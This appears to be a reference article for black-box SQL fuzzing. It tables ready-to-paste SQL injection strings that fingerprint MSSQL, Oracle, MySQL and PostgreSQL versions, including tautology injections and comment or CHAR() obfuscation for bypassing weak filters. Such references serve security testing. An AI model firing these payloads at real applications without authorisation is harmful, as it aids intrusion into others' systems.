SQL Fuzzing
This article is created to introduce an SQL query injection reference, meanning strings that can be used without any modification (a simple copy paste) in web application SQL fuzzers to perform balck box SQL fuzzing (no assumption made about back end database). In the following table M means MSSQL, O means Oracle, P means Postgre and My means MySQL.
| SQL Injection Strings For Fingerprinting | ||
|---|---|---|
| 'SELECT @@version -- | M | Note: This injection query works with any instance of SQL Server 2000 or of a later version. |
| ' UNION SELECT @@version,NULL,NULL-- | M | Note: This injection query can be used to identify amount of table columns, data types and database version. |
| 'SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition') -- | M | Note: This query works with any instance of SQL Server 2000 or of a later version. The following results are returned:
|
| '1 in (SELECT @@version) -- | M | Note: This query works with by trying to generate encapsulated casting errors. |
| '1 in (CHAR(83) + CHAR(69) + CHAR(76) + CHAR(69) + CHAR(67) + CHAR(84) + CHAR(32) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110)) -- | M | Note: This query is using obfuscation technices to by pass SQL filters and is not going to work in most cases. |
| 'SELECT/*Place what ever you want*/ @@version -- | M | Note:This is good for by passing filters in bad SQL filters. |
| ' 1 in (SELECT/*Place what ever you want*/ @@version) -- | M | Note: Again this is good for by passing filters in bad SQL filters. |
| ' or @@PACK_RECEIVED-@@PACK_RECEIVED -- | M | Note:The @@PACK_RECEIVED databse system variable is used to display a report containing several SQL Server statistics, including packets sent and received. Used in the injection point with numerical values. |
| Injectable'+'Variable -- | M | Note:Usage of string concatenation used by MSSQL database |
| 'SELECT version FROM v$instance; | O | Note:You can capture the edition, version and release (32 bit or 64-bit) |
| 'SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; | O | Note:You can capture the edition, version and release in both 32 bit or 64-bit versions |
| 'SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; | O | Note:You can capture the edition, version and release in both 32 bit or 64-bit versions.SELECT statements must have a FROM clause in Oracle |
| 'Injection'||'variable' -- | O | Note:Usage of string concatenation used by Oracle database. When injecting the vulnerable variable the web application should behave normaly. |
| SELECT banner FROM v$version WHERE banner LIKE "Oracle Database%"; | O | Note:You can capture the edition, version and release in both 32 bit or 64-bit versions.SELECT statements must have a FROM clause in Oracle. |
| SELECT @@version # | My | Note: Again a version injection query |
| 'Injection' 'variable' # | My | Note: Again a verion injection query (notice the space of the string). |
| 'SELECT /*!32302 12*/ # | My | Note: This injection string is used for string values (char variables) and should return the number 12. You will get the same response if MySQL version is higher than 3.23.02 . |
| or /*!32302 12*/ = /*!32302 12*/ | My | Note: This injection string is used for numerical values and is equal to or 1=1 in MSSQL. You will get the same response if MySQL version is higher than 3.23.02 . |
| ' or /*!32302 12*/ = /*!32302 12*/ # | My | Note: This injection string is used for numerical values and is equal to or ' or 1=1 -- in MSSQL. You will get the same response if MySQL version is higher than 3.23.02 . |
| SELECT /*What ever you want to inject*/@@version# | My | Note:Again used to by passing SQL data filters. |
| CONNECTION_ID()-CONNECTION_ID()# | My | Note:Again for versioning database in numerical injections. |
| ' SELECT /*!32302 1/0, */ 1/1 FROM existingtablename # | My | Note:Will throw an divison by 0 error if MySQL version is higher than 3.23.02. |
| ' SELECT /*!32302 1/1, */ 1/0 FROM existingtablename # | My | Note:Will throw an divison by 0 error if MySQL version is lower than 3.23.02. |
| SELECT version()- | P | Note:Check the comment character. |
